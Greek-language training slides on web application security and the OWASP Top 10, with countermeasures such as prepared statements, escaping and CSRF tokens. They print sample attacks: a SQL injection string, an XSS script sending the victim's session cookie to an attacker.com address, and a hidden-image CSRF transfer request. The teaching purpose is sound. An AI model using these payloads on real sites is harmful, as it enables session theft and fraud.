Επισκόπηση προβλημάτων ασφαλείας, απειλών και κακόβουλων επιθέσεων αντίμετρα hands on lab/training module

Σχετικά έγγραφα
Ασφάλεια Πληροφοριακών Συστημάτων

Ασφάλεια, Διαθεσιμότητα και Ταχύτητα για τις Web Εφαρμογές

Οδηγός Εγκατάστασης και Χρήσης του Arebas Easy

Η Βίβλος σχετικά με το JDBC. Περιέχει τρία βασικά tutorials στα οποία θα βασιστεί το μάθημα και περιγράφει όλες τις τάξεις και τις μεθόδους που

String SQL Injection Σε πρώτη φάση θα προσπαθήσουμε να παραβιάσουμε ως απλοί επισκέπτες το σύστημα, εισχωρώντας στο σύστημα ως διαχειριστές, παραβιάζο

Ασφάλεια Υπολογιστών Και Δικτύων. Προσομοίωση επίθεσης σε ευπαθές σε SQL Injection σύστημα και απόκτηση κονσόλας διαχειριστή

ΤΕΙ ΚΑΒΑΛΑΣ. Πτυχιακή εργασία ΕΙΣΑΓΩΓΗ. Μιλτιάδης Κακλαμάνης

Μέρος 3 ο : Βασικές Έννοιες για δυναμικές ιστοσελίδες

EΠΙΣΗΜΑΝΣΗ ΑΠΟΡΡΗΤΟΥ (PRIVACY NOTICE)

Παράρτημα A: PHP, HTML φόρμες και το πρωτόκολλο HTTP.

Φορολογική Βιβλιοθήκη. Θανάσης Φώτης Προγραμματιστής Εφαρμογών

PHP/MySQL και Project

Διαδικτυακές Εφαρμογές Ενότητα 7: Προσπέλαση ΒΔ με το JDBC

Ευπάθειες Διαδικτυακών Εφαρμογών & Web Εξυπηρετητών

ΚΕΦΑΛΑΙΟ Web Services

Αποκήρυξη ευθυνών. Συλλογή Προσωπικών Πληροφοριών

Ενότητα Υπηρεσίες και εφαρμογές του Διαδικτύου

«Δουλεύω Ηλεκτρονικά, Δουλεύω Γρήγορα και με Ασφάλεια - by e-base.gr»

Οδηγίες Χρήσης της MySQL

Μετάφραση: Καζακώνης Αναστάσιος ΙΟΥΝΙΟΣ 2005

Τεχνολογίες Διαδικτύου. Server Side Scripting I PHP

Εργαλεία ανάπτυξης εφαρμογών internet Ι

ΜΕΡΟΣ ΠΡΩΤΟ: Θεωρητική Προσέγγιση...15

Μονάδα Διασφάλισης Ποιότητας. ΜΟΔΙΠ Πανεπιστημίου Δυτικής Μακεδονίας. Κωδικός Πράξης ΟΠΣ: Επιχειρησιακό Πρόγραμμα:

Εργαστήριο Ασφάλεια Πληροφοριακών Συστημάτων SSL/TLS

(Μη νομοθετικές πράξεις) ΚΑΝΟΝΙΣΜΟΙ

PRISMA Win POS Sync Merge Replication

Οδηγίες. Εγκατάσταση Προσωπικού Πιστοποιητικού

Θέματα Προγραμματισμού Διαδικτύου ~ MySQL & PHP ~

Αναγγελία Εισιτηρίων - εξιτηρίων ΕΓΧΕΙΡΙΔΙΟ ΧΡΗΣΗΣ. Ηλεκτρονικές Υπηρεσίες. Αναγγελία Εισιτηρίων - Εξιτηρίων. Σελίδα 1

Εφαρμογή Ηλεκτρονικής Διαχείρισης Μετεγγραφών. Παραδοτέο: Τελική Αναφορά Υπηρεσιών Υποστήριξης και Εκπαίδευσης

ΕΡΓΑΣΙΑ. (στο µάθηµα: Τεχνολογίες Εφαρµογών ιαδικτύου του Η εξαµήνου σπουδών του Τµήµατος Πληροφορικής & Τηλ/νιών)

Πληροφορική Τμήμα Σχεδιασμού & Τεχνολογίας Ξύλου & Επίπλου Αντώνιος Καραγεώργος Ευανθία Τσιλιχρήστου. Μάθημα 5 ο Τεχνολογίες Διαδικτύου: HTML I

ΠΡΟΣΤΑΣΙΑ ΠΡΟΣΩΠΙΚΩΝ ΔΕΔΟΜΕΝΩΝ ΣΤΙΣ ΤΕΧΝΟΛΟΓΙΕΣ ΠΛΗΡΟΦΟΡΙΚΗΣ ΚΑΙ ΕΠΙΚΟΙΝΩΝΙΩΝ ΚΑΘΩΣ ΚΑΙ ΣΤΟ ΔΙΑΔΙΚΤΥΟ

Οδηγός ανάγνωσης αποστολής

Οδηγίες. Εγκατάσταση Προσωπικού Πιστοποιητικού

ΔΙΕΥΘΥΝΣΗ ΨΗΦΙΑΚΩΝ ΥΠΗΡΕΣΙΩΝ ΟΔΗΓΙΕΣ ΧΡΗΣΗΣ ΥΠΗΡΕΣΙΑΣ ΑΠΟΣΤΟΛΗΣ ΚΩΔΙΚΩΝ ΜΙΑΣ ΧΡΗΣΗΣ ΜΕΣΩ ΓΡΑΠΤΟΥ ΜΗΝΥΜΑΤΟΣ SMS (SMS TOKEN)

ΘΕΜΑ ΠΤΥΧΙΑΚΗΣ : ΜΗΧΑΝΙΣΜΟΙ ΣΥΛΛΟΓΗΣ ΣΤΟΙΧΕΙΩΝ ΣΤΟ ΔΙΑΔΥΚΤΙΟ (COOKIES)

Ρ ΓΑ Σ Τ Ή Ρ Ι Ο 8 Α Σ Φ Ά Λ Ε Ι Α Σ Π Λ Η Ρ Ο Φ Ο Ρ Ι Κ Ώ Ν Σ Υ Σ Τ Η Μ ΆΤ Ω Ν

MySQL + Γλώσσα Προγραμματισμού. Βάσεις Δεδομένων Ευαγγελία Πιτουρά 1

ΕΞΕΤΑΣΤΕΑ ΥΛΗ (SYLLABUS) ADVANCED σχεδιασμός ιστοσελίδας ΕΚΔΟΣΗ 1.0. Σόλωνος 108,Τηλ Φαξ

Πολιτική Απορρήτου. Παρακαλούμε, διαβάστε την παρούσα Πολιτική Απορρήτου προσεκτικά.

ΕΡΓΑΣΙΑ. (στο μάθημα: Τεχνολογίες Εφαρμογών Διαδικτύου του Η εξαμήνου σπουδών του Τμήματος Πληροφορικής & Τηλ/νιών)

Π Τ Υ Χ Ι Α Κ Η Ε Ρ Γ Α Σ Ι Α

BlackBerry Internet Service. Οδηγός χρήστη

Εγχειρίδιο Χρήσης Συστήματος Διαχείρισης Ηλεκτρονικών Ερωτηματολογίων Ο.Π.Σ

Οδηγίες Ακολουθήστε τα παρακάτω βήματα. Βεβαιωθείτε ότι το πρόγραμμά σας δουλεύει σωστά σε κάθε βήμα, πριν προχωρήσετε στο επόμενο.

Εργασία «Διαχείριση Δικτύων» Ιούνιος 2014, Θεσ/νίκη

ΔΗ Μ Ι Ο ΥΡ Γ Ι Α W I K I με τ η χρήση τ η ς υπ ηρεσίας h t t p : / id ot.com /

Αν Ναι, δείτε πως με το λογισμικό axes μπορείτε!

Cryptography and Network Security Chapter 16. Fifth Edition by William Stallings

Οδηγίες Χρήσης της MySQL

XAMPP Apache MySQL PHP javascript xampp

Έκδοση Ψηφιακών Πιστοποιητικών. Έκδοση 2.0

ΗΜΕΡΟΛΟΓΙΟ ΓΛΩΣΣΑΡΙ ΔΙΑΔΙΚΤΥΟΥ

ΠΟΛΙΤΙΚΗ ΙΔΙΩΤΙΚΟΤΗΤΑΣ ΤΟΥ igro

Ασφάλεια Στο Ηλεκτρονικό Εμπόριο. Λάζος Αλέξανδρος Α.Μ. 3530

ΟΔΗΓΟΣ ΕΓΚΑΤΑΣΤΑΣΗΣ ΠΙΣΤΟΠΟΙΗΤΙΚΟΥ ΑΣΦΑΛΕΙΑΣ WEBMAIL ΤΕΙ ΚΑΛΑΜΑΤΑΣ

Web and HTTP. Βασικά Συστατικά: Web Server Web Browser HTTP Protocol

6.2 Υπηρεσίες Διαδικτύου

Δημιουργία ιστοσελίδας με. Wordpress - Βασικές λειτουργίες

ΜΕΤΑΠΤΥΧΙΑΚΗ ΔΙΠΛΩΜΑΤΙΚΗ ΕΡΓΑΣΙΑ

ΕΡΓΑΣΙΑ. (στο μάθημα: Τεχνολογίες Εφαρμογών Διαδικτύου του Η εξαμήνου σπουδών του Τμήματος Πληροφορικής & Τηλ/νιών)

ΟΔΗΓΟΣ ΧΡΗΣΗΣ(ΜΑΝUΑL) ΔΙΑΧΕΙΡΙΣΤΗ-ΧΡΗΣΤΗ.

Διαβούλευση για την ηλεκτρονική υποβολή αποδείξεων

ΣΕΜΙΝΑΡΙΟ. ΠΑΡΟΥΣΙΑΣΗ 19/5/11 Αµφιθέατρο

ΓΕΝΙΚΗ ΓΡΑΜΜΑΤΕΙΑ ΔΗΜΟΣΙΩΝ ΕΠΕΝΔΥΣΕΩΝ & ΕΣΠΑ ΕΘΝΙΚΗ ΑΡΧΗ ΣΥΝΤΟΝΙΣΜΟΥ ΕΙΔΙΚΗ ΥΠΗΡΕΣΙΑ Ο.Π.Σ.

Οδηγός ανάγνωσης αποστολής

Αρχιτεκτονική του πληροφοριακού συστήµατος Cardisoft Γραµµατεία 2003 ιαχείριση Προσωπικού

Δημοσίευση στο Διαδίκτυο

Ασφάλεια Δικτύων. Τι (δεν) είναι Ασφάλεια Δικτύων. Γιάννης Ηλιάδης Υπεύθυνος Ασφάλειας Δικτύου ΤΕΙΡΕΣΙΑΣ Α.Ε. 24/11/07

συνήθη λάθη στο WordPress και πώς να τα διορθώσεις!

Πολιτική Ασφαλείας Προσωπικών Δεδομένων GDPR General Data Protection Regulation

ΤΕΧΝΟΛΟΓΙΑ ΔΙΚΤΥΩΝ ΕΠΙΚΟΙΝΩΝΙΩΝ

Εγκατάσταση & Παραµετροποίηση Εξυπηρετητή Πιστοποίησης Χρηστών (Radius Server)

Σχεδιασμός Βάσεων Δεδομένων

PayByBank RESTful API GUIDE

PHP Functions. by George Girtsou Copyright All Rights Reserved. Με την επιφύλαξη κάθε νόμιμου δικαιώματος.

ΚΕΦΑΛΑΙΟ 1.7. Πρωτόκολλα και Αρχιτεκτονική Δικτύου

ΕΦΑΡΜΟΓΗ ΔΙΑΧΕΙΡΙΣΗΣ ΙΣΤΟΣΕΛΙΔΩΝ ΜΕΛΩΝ ΔΕΠ, ΤΜΗΜΑΤΟΣ ΜΑΘΗΜΑΤΙΚΩΝ ΠΑΝΕΠΙΣΤΗΜΙΟΥ ΠΑΤΡΩΝ ΕΓΧΕΙΡΙΔΙΟ ΟΔΗΓΙΩΝ ΠΛΟΗΓΗΣΗΣ ΚΑΙ ΧΡΗΣΗΣ

Ηλεκτρονικές Υπηρεσίες. Εκτύπωσης Εκκαθαριαστικού / Βεβαίωσης Αποδοχών και Πιστοποίησης Χρηστών Μέσω Internet

Υλοποίηση σχημάτων ασφαλείας σε ασύρματα δίκτυα

ΠΤΥΧΙΑΚΗ ΕΡΓΑΣΙΑ ΜΕ ΘΕΜΑ:

Εφαρµογή: Σύστηµα ιαχείρισης ιαδικτυακού Περίπτερου / Ιστοσελίδας στον διαδικτυακό τόπο kalliergea.gr

6 Εισαγωγή στο Wordpress 3.x

ΜΑΘΗΜΑ: Εργαλεία Ανάπτυξης εφαρμογών internet.

ΕΓΧΕΙΡΙΔΙΟ ΥΠΟΒΟΛΗΣ ΗΛΕΚΤΡΟΝΙΚΗΣ ΑΙΤΗΣΗΣ ΓΙΑ ΤΟ ΕΘΝΙΚΟ ΜΗΤΡΩΟ ΠΙΣΤΟΠΟΙΗΜΕΝΩΝ ΑΞΙΟΛΟΓΗΤΩΝ / ΕΛΕΓΚΤΩΝ

Προσβασιµότητα στους διαδικτυακούς κόµβους

Οδηγίες Χρήσης EAP Controller Software

Πρακτικά όλα τα προβλήματα ασφαλείας οφείλονται σε λάθη στον κώδικα

Με λίγα λόγια, το TCP/IP καθορίζει τον τρόπο που πακετάρονται και μεταφέρονται τα δεδομένα της σύνδεσής μας.

Διαχείριση Πληροφοριών στο Διαδίκτυο. Εργαστήριο 1

Στην συνέχεια και στο επόµενο παράθυρο η εφαρµογή µας ζητάει να εισάγουµε το Username και το Password το οποίο σας έχει δοθεί από τον ΕΛΚΕ.

Ρύθμιση Stylitis-10+ WiFi

CVE the SSL Heartbleed bug. SSL Renegotiation Attack

Εφαρμογή Ηλεκτρονικής Διαχείρισης Μετεγγραφών

α. Προσωπικά δεδομένα που δύνανται να ζητηθούν από την σελίδα.

Εργαστήριο #10 (Ε10) 1

Εισαγωγή 6. Tα πολλά πρόσωπα των απειλών για το PC 8. Οι βασικές ρυθμίσεις ασφαλείας στα Windows 18. Προστασία από το Malware με το Avast Antivirus 34

Εισαγωγή στην Πληροφορική

Transcript:

Επισκόπηση προβλημάτων ασφαλείας, απειλών και κακόβουλων επιθέσεων αντίμετρα hands on lab/training module ikoniaris@gmail.com http://bruteforce.gr AUTH ACM Student Chapter 1

Τι είναι διαδικτυακή εφαρμογή και τι ασφάλεια διαδικτυακών εφαρμογών Γιατί έχουμε προβλήματα ασφαλείας και γιατί δεν λύνονται άμεσα Οι μύθοι της ασφάλειας διαδικτυακών εφαρμογών Οι 10 συχνότερες επιθέσεις σε επίπεδο διαδικτυακών εφαρμογών (OWASP) Αντίμετρα σε επίπεδο υλοποίησης εφαρμογών και υποδομής «Μαθήματα» για την ασφάλεια εφαρμογών Hands-on lab / training module AUTH ACM Student Chapter 2

Μια διαδικτυακή εφαρμογή ή διαδικτυακή υπηρεσία είναι μία εφαρμογή λογισμικού που είναι προσβάσιμη με τη χρήση κάποιου web browser ή κάποιου άλλου HTTP(s) user agent. Ο όρος μπορεί να αναφέρεται και σε κάποια εφαρμογή που τρέχει σε ένα περιβάλλον ελεγχόμενο από το σύστημα και στον browser του χρήστη, όπως ένα java applet. AUTH ACM Student Chapter 3

Δεν είναι ασφάλεια δικτύων! Είναι η ασφάλεια που αφορά: Custom κώδικα κάποιας διαδικτυακής εφαρμογής Βιβλιοθήκες λογισμικού που χρησιμοποιούνται Backend συστήματα Web & application servers AUTH ACM Student Chapter 4

«Η ασφάλεια δεν είναι η δουλειά μου» «Αν δουλεύει, είναι εντάξει» «Πληρώνομαι για να το κάνω να λειτουργεί, όχι να είναι ασφαλές» Οι εταιρίες δουλεύουν στα projects τους ακολουθόντας συγκεκριμένα budgets και η ασφάλεια συνολικά δεν έχει το μερίδιο που θα έπρεπε, με βάση τη σημασία της. Έλλειψη γνώσεων και ενημέρωσης από προγραμματιστές και στελέχη για τα τρέχοντα προβλήματα ασφαλείας και την υλοποίηση αντίμετρων. AUTH ACM Student Chapter 5

Δεν υπάρχει συγκεκριμένη ομάδα ή άτομο που να καταλαβαίνει ή να έχει την ευθύνη συντήρης του προβληματικού κώδικα. Η ομάδα ανάπτυξης δεν καταλαβαίνει ή υποτιμά τη σοβαρότητα του προβλήματος. Μελλοντικά σχέδια και προσθήκες στην εφαρμογή έχουν μεγαλύτερη προτεραιότητα από την κάλυψη των κενών ασφαλείας. Έλλειψη χρημάτων για τη δρομολόγηση της διαδικασίας. AUTH ACM Student Chapter 6

Ο κώδικας που έχει πρόβλημα ανήκει σε κάποιον τρίτο συνεργάτη ή προμηθευτή που δε δείχνει σοβαρότητα για το ζήτημα. Η εφαρμογή (ή website) θα πάψει να λειτουργεί ή θα αντικατασταθεί «σύντομα». Δεχόμαστε το ρίσκο της εκμετάλλευσης της τρωτότητας της εφαρμογής μας. Η επίλυση έρχεται σε αντίθεση με αποφάσεις άλλων τμημάτων/στελεχών. AUTH ACM Student Chapter 7

Μύθος #1: ο(ι) προγραμματιστή(ε)ς θα παραδώσουν μια ασφαλή εφαρμογή χωρίς να το απαιτήσω ή να τους ρωτήσω Μύθος #2: Μόνο οι hackers γνωρίζουν πώς να εκμεταλλεύονται προβλήματα ασφαλείας και αυτοί είναι λίγοι ή ασχολούνται με πιο σημαντικά θέματα και στόχους Μύθος #3: Η εφαρμογή μου είναι ασφαλής, στον server μου έχω εγκατεστημένο πιστοποιητικό SSL AUTH ACM Student Chapter 8

Μύθος #4: Η εφαρμογή μου είναι ασφαλής, στον server μου έχω εγκατεστημένο firewall Μύθος #5: Προβλήματα σε εφαρμογές που χρησιμοποιούνται «εσωτερικά» δεν είναι και τόσο σημαντικά AUTH ACM Student Chapter 9

AUTH ACM Student Chapter 10

AUTH ACM Student Chapter 11

AUTH ACM Student Chapter 12

AUTH ACM Student Chapter 13

1 Injection 2 Cross-Site Scripting (XSS) 3 Broken Authentication and Session Management 4 Insecure Direct Object References 5 Cross-Site Request Forgery (CSRF) 6 Security Misconfiguration 7 Insecure Cryptographic Storage 8 Failure to Restrict URL Access 9 Insufficient Transport Layer Protection 10 Unvalidated Redirects and Forwards AUTH ACM Student Chapter 14

Ο κακόβουλος χρήστης στέλνει ειδικά κατασκευασμένα ερωτήματα SQL (κυρίως) στην εφαρμογή η οποία τα προωθεί στη ΒΔ. Παράδειγμα: String query = "SELECT * FROM accounts WHERE custname= " + request.getparameter( username ) + " "; Ο επιτηθέμενος τροποποιεί την παράμετρο id στέλνοντας: admin or 1 = 1 http://example.com/app/accountview?id=admin' or '1'='1 Με αυτόν τον τρόπο αλλάζει η έννοια του ερωτήματος (είναι TRUE) και επιστρέφονται όλες οι εγγραφές από τον πίνακα της ΒΔ. AUTH ACM Student Chapter 15

Χρησιμοποιούμε prepared statements, που κάνουν διαχωρισμό μεταξύ κώδικα και δεδομένων. Αντί για το μη ασφαλές: String query = "SELECT account_balance FROM user_data WHERE user_name = " + request.getparameter("customername"); try { Statement statement = connection.createstatement( ); ResultSet results = statement.executequery( query ); } AUTH ACM Student Chapter 16

Χρησιμοποιούμε: String custname = request.getparameter("customername"); String query = "SELECT account_balance FROM user_data WHERE user_name =? "; PreparedStatement pstmt = connection.preparestatement( query ); pstmt.setstring( 1, custname); ResultSet results = pstmt.executequery( ); Αν κάποιος έδινε ως είσοδο: john or 1 = 1 τότε το πρόγραμμα δεν θα το μετέφραζε σε κώδικα αλλά θα έψαχνε να βρει το χρήστη με αυτό το όνομα ακριβώς. AUTH ACM Student Chapter 17

Ο κακόβουλος χρήστης στέλνει στην ευπαθή εφαρμογή text-based attack scripts (JavaScript) τα οποία τρέχουν στον browser κάθε χρήστη που επισκέπτεται την σελίδα. Μπορεί να είναι κάτι απλό όπως η εμφάνιση ενός alert παραθύρου, ή κάποια άλλη «αθώα» ενέργεια αλλά μπορεί να προκαλέσει και αρκετά σοβαρά προβλήματα (session highjack, content redirection, defacements κλπ) Είναι το πιο διαδεμένο πρόβλημα ασφαλείας αυτή τη στιγμή στις διαδικτυακές εφαρμογές. AUTH ACM Student Chapter 18

Παράδειγμα, έχουμε μια σελίδα η οποία χρησιμοποιεί δεδομένα του χρήστη για να κατασκευάσει τον ακόλουθο HTML κώδικα: (String) page += "<input name= comment type= TEXT value= " + request.getparameter( usercomment ) + " >"; Ο κακόβουλος χρήστης δίνει ως παράμετρο usercomment : '><script>document.location='http://www.attacker.com/cgibin/cookie.cgi?foo='+document.cookie</script>'. Και πλέον η σελίδα κατασκευάζεται περιέχοντας αυτόν τον JavaScript κώδικα. AUTH ACM Student Chapter 19

Με τον τρόπο αυτό ο παραπάνω κώδικας εκτελείτε στον browser του θύματος και το session cookie του στέλνεται στον κακόβουλο χρήστη ο οποίος μπορεί έπειτα να επέμβει στην τρέχουσα συνεδρία του χρήστη καταλαμβάνοντας την. AUTH ACM Student Chapter 20

Πρέπει να περνάμε ΟΛΑ τα δεδομένα που εισάγονται από τους χρήστες μέσα από ένα XSS φίλτρο, το οποίο θα αφαιρεί όλα τα στοιχεία που θεωρούνται «επικίνδυνα» όπως: <script>, JavaScript εντολές, κλπ. Java: XSS Protect library AUTH ACM Student Chapter 21

Δεύτερον, πρέπει να εφαρμόζουμε escaping (πχ HTML character escaping) σε όλα τα στοιχεία που αποτελούν δεδομένα και όχι κώδικα, αναλόγως το σημείο της σελίδας στο οποίο θα εισαχθούν (πχ μέσα σε div tags, ως style attribute κλπ) Ακόμα και αν ο κακόβουλος χρήστης καταφέρει να εισάγει κώδικα στη σελίδα, αυτός δεν θα εκτελεστεί. AUTH ACM Student Chapter 22

Οι προγραμματιστές συχνά γράφουν δικά τους συστήματα για την πιστοποίηση και τη διαχείριση συνόδου των χρηστών της εφαρμογής τους, αλλά το να κατασκευάζεις σωστά τέτοια συστήματα είναι δύσκολο. Ως αποτέλεσμα, πολλά από αυτά τα custom συστήματα έχουν προβλήματα ασφαλείας σε διάφορες λειτουργίες τους, όπως logout, session timeouts, remember me, κλπ. Το να βρεις αυτά τα προβλήματα αν μιλάμε για κάποια custom υλοποίηση είναι δύσκολο αλλά όχι ακατόρθωτο, ενώ ο αντίκτυπος μπορεί να είναι μεγάλος. AUTH ACM Student Chapter 23

Παράδειγμα 1: Μια custom εφαρμογή για κράτηση εισητηρίων τοποθετεί για κάποιο λόγο το session ID στο URL της: http://example.com/sale/tickets;jsessionid=2p0oc2jdpxm0oqsndlps KHCJUN2JV?dest=Thessaloniki Ο χρήστης θέλει να ενημερώσει τους φίλους του για το ταξίδι και στέλνει με email το παραπάνω link σε γνωστούς του. Όταν αυτοί χρησιμοποιήσουν το link αυτό, θα χρησιμοποιήσουν επίσης το δικό του session (με τα δικά του στοιχεία, πχ πιστωτική κάρτα) Παράδειγμα 2: Μια εφαρμογή δεν κάνει σωστή χρήστη των session timeouts. Κάποιος χρήστης χρησιμοποιεί ένα κοινόχρηστο υπολογιστή (internet café) για να συνδεθεί. Αντί να επιλέξει logout ο χρήστης απλά κλείνει τον browser και φεύγει. Κάποιος άλλος χρήστης (κακόβουλος) χρησιμοποιεί τον ίδιο (ακόμα συνδεδμένο) browser μισή ώρα αργότερα. AUTH ACM Student Chapter 24

Προσπαθούμε τα δικά μας συστήματα πιστοποίησης και διαχείρισης sessions (αν είναι απαραίτητο να φτιάξουμε custom απ την αρχή) να ακολουθούν κάποιες συγκεκριμένες προδιαγραφές ασφαλείας και απαιτήσεις. Ακολουθούμε τα industry standards για την αποθήκευση κωδικών και ευαίσθητων προσωπικών δεδομένων (salted hashing κλπ). Χρησιμοποιούμε έτοιμα frameworks και APIs που έχουν ήδη υλοποιημένες τις παραπάνω διαδικασίες για εμάς και βρίσκονται υπό ανάπτυξη και έλεγχο από ειδικούς στον τομέα. AUTH ACM Student Chapter 25

Οι εφαρμογές συχνά χρησιμοποιούν το όνομα ή το κλειδί ενός αντικείμενου όταν δημιουργούν δυναμικά ιστοσελίδες. Συνήθως υπάρχει το πρόβλημα ασφαλείας ότι η εφαρμογή δεν ελέγχει αν κάποιος συγκεκριμένος χρήστης έχει δικαίωμα να προσπελάσει ένα αντικείμενο. Κάποιος κακόβουλος χρήστης ο οποίος είναι πιστοποιημένος χρήστης του συστήματος μπορεί απλά να αλλάξει την τιμή μιας παραμέτρου και να έχει πρόσβαση σε ένα αντικείμενο του συστήματος που κανονικά δεν θα έπρεπε. AUTH ACM Student Chapter 26

Παράδειγμα: Ο κακόβουλος χρήστης μεταβάλει την τιμή της παραμέτρου acct και βλέπει το λογαριασμό κάποιου άλλου συνδρομητή της τράπεζας. Με το συγκεκριμένο τρόπο έγινε η κλοπή των στοιχείων ~200.000 πελατών της τράπεζας Citibank. AUTH ACM Student Chapter 27

Χρησιμοποιούμε έμμεσες αναφορές σε αντικείμενα ανά χρήστη/session: Για παράδειγμα, αντί να χρησιμοποιούμε το κλειδί του αντικειμένου στη ΒΔ για να αναφερόμαστε σε αυτό, μπορούμε να εμφανίζουμε εξαρχής στο χρήστη ένα μενού με συγκεκριμένες επιλογές αριθμημένες 1-5 της οποίες μπορεί να επιλέξει. Κάθε επιλογή αντιστοιχίζεται με κάποιο αντικείμενο/κλειδί της ΒΔ μέσω κάποιου ασφαλούς συστήματος. Κάνουμε έλεγχο πρόβασης: Σε κάθε χρήση άμεσης αναφοράς σε κάποιο αντικείμενο από κάποια μη πιστοποιημένη πηγή, πρέπει να ελέγχουμε ότι ο χρήστης επιτρέπεται να προσπελάσει το αντικείμενο που ζήτησε. AUTH ACM Student Chapter 28

Επειδή οι web browsers στέλνουν στοιχεία σύνδεσης όπως υπάρχοντα session cookies αυτόματα, κακόβουλοι χρήστες μπορούν να κατασκευάσουν σελίδες (ή να αλλάξουν ήδη υπάρχουσες βλ. XSS) ώστε το θύμα να στέλνει σε κάποια άλλη σελίδα πλαστά HTTP αιτήματα που δε ξεχωρίζουν από τα πραγματικά. Αν ο χρήστης είναι πιστοποιημένος (δηλαδή είναι ή ήταν συνδεδεμένος) στην άλλη σελίδα, και μόνο τότε, η επίθεση επιτυγχάνει. AUTH ACM Student Chapter 29

Παράδειγμα: Μια εφαρμογή επιτρέπει στο χρήστη να υποβάλει URL αιτήματα τα οποία επιτελούν κάποια συγκεκριμένη ενέργεια: http://example.com/app/transferfunds?amount=1500&destina tionaccount=4673243243 Ένας κακόβουλος χρήστης κατασκευάζει ένα αίτημα το οποίο θα μεταφέρει χρήματα στο δικό του λογαριασμό και το εισάγει στον κώδικα μιας εικόνας σε διάφορες σελίδες υπό τον έλεγχο του: <img src= http://example.com/app/transferfunds? amount=1500&destinationaccount=attackersacct# width="0" height="0" /> Αν το θύμα επισκεφτεί μια από αυτές τις σελίδες ενώ είναι ήδη συνδεδεμένος στην εφαρμογή της σελίδας example.com τότε το αίτημα αυτό θα εκτελεστεί χρησιμοποιώντας το session του θύματος, μεταφέροντας τα χρήματα. AUTH ACM Student Chapter 30

Για την αποφυγή των επιθέσεων CSRF προσθέτουμε σε κάθε HTTP request ένα μη προβλέψιμο token. Αυτά τα tokens μπορούν να αλλάζουν ανά user session ή ακόμα και ανά request. Η καλύτερη πρακτική είναι το token αυτό να εισάγεται σε ένα κρυφό πεδίο ώστε να αποφεύγεται η προσθήκη του στο URL από όπου μπορεί κάποιος να το κλέψει. AUTH ACM Student Chapter 31

Λανθασμένες ή επισφαλείς ρυθμίσεις μπορούν να έχουν γίνει σε όλα τα επίπεδα της εφαρμογής και της υποδομής πάνω στην οποία τρέχει, όπως στους web servers, application servers, στα frameworks με τη χρήση των οποίων ρυθμίζονται κάποιες λειτουργίες της εφαρμογής και φυσικά σε custom code. Οι προγραμματιστές θα πρέπει να εργάζονται μαζί με τους διαχειριστές συστημάτων και δικτύου για να διασφαλιστεί η σωστή ρύθμιση ολόκληρης της στοίβας εφαρμογής (app stack). Σε αντίθετη περίπτωση, κακόβουλοι χρήστες μπορούν να χρησιμοποιήσουν default accounts, μη χρησιμοποιούμενες σελίδες με κενά ασφαλείας, να έχουν πρόβαση σε μη προστατευμένους καταλόγους κλπ. AUTH ACM Student Chapter 32

Παράδειγμα 1: Η εφαρμογή που κατασκευάσαμε στηρίζεται σε κάποιο framework όπως το Symphony ή cakephp. Κάποιος ανακαλύπτει ένα XSS flaw στο framework και οι προγραμματιστές κατασκευάζουν ένα patch που το διορθώνει. Για κάποιον λόγο δεν εφαρμόζουμε το patch στο σύστημα μας και επομένως έχουμε το ρίσκο κάποιος να το εκμεταλλευτεί. Παράδειγμα 2: Η εμφάνιση καταλόγων δεν έχει απενεργοποιηθεί στον server μας. Έτσι, ένας κακόβουλος χρήστης μπορεί να δει όλα τα αρχεία που βρίσκονται στον server. Είτε χειροκίνητα είτε με χρήση ενός εργαλείου ψάχνει και κατεβάζει στον υπολογιστή του αρχεία κωδικών, ή ακόμα και μεταγλωττισμένες κλάσεις του προγράμματος μας τις οποίες αντιστρέφει για να βρει προβλήματα στον κώδικα. AUTH ACM Student Chapter 33

Επαναλαμβανόμενη διαδικασία ισχυροποίησης της ασφάλειας των συστημάτων μας, από ειδικούς στον τομέα. Θα πρέπει να είμαστε σε θέση να στήσουμε ένα νέο ασφαλές περιβάλλον ανάπτυξης ή παραγωγής χωρίς μεγάλη προσπάθεια. Επαναλαμβάνομενη διαδικασία ελέγχου του λογισμικού μας και εγκατάστασης όλων των απαραίτητων διορθώσεων (patches) σε μικρό χρονικό διάστημα σε όλα τα συστήματα που χρησιμοποιούμε. Προσεκτικός σχεδιασμός της αρχιτεκτονικής της εφαρμογής μας ώστε να υπάρχει διαχωρισμός και ασφάλεια επικοινωνίας μεταξύ των διαφορετικών συστατικών της υποδομής μας. Χρήση εργαλείων αυτόματου ελέγχου της ασφάλειας των συστημάτων για να προλάβουμε τους κακόβουλους χρήστες. AUTH ACM Student Chapter 34

Το σύνηθες σφάλμα σε αυτήν την περιοχή είναι απλά η μη κρυπτογράφηση δεδομένων που θα έπρεπε να κρυπτογραφηθούν. Όταν χρησιμοποιείται κρυπτογράφηση, μπορούν να προκύψουν προβλήματα από χρήση αδύναμων αλγορίθμων, hashing χωρίς salting κλπ. Οι επιτηθέμενοι συνήθως δεν σπάνε την ίδια την κρυπτογράφηση, αλλά συνήθως ανακαλύπτουν κάποιο άλλο σφάλμα όπως το να βρουν κάποια έτοιμα κλειδιά, cleartext κωδικούς κλπ. AUTH ACM Student Chapter 35

Παράδειγμα 1: Μια σελίδα καταχωρεί τους κωδικούς των χρηστών της στη ΒΔ χωρίς hashing, αλλά σε μορφή cleartext. Κάποιος κακόβουλος χρήστης ανακαλύπτει ένα SQL injection flaw στη σελίδα και γίνεται κάτοχος όλης της λίστας χρηστών με τους κωδικούς τους. Παράδειγμα 2: Η ΒΔ για την αποθήκευση κωδικών των χρηστών μιας διαδικτυακής εφαρμογής χρησιμοποιεί unsalted hashes για την αποθήκευση των κωδικών. Κάποιος κακόβουλος ανακαλύπτει ένα σφάλμα στην εφαρμογή και κατορθώνει να γίνει κάτοχος του αρχείου κωδικών. Μπορεί να ανακτήσει όλους τους κωδικούς σε ~4 εβδομάδες, ενώ τα αντίστοιχα salted hashes θα απαιτούσαν ~3000 χρόνια. AUTH ACM Student Chapter 36

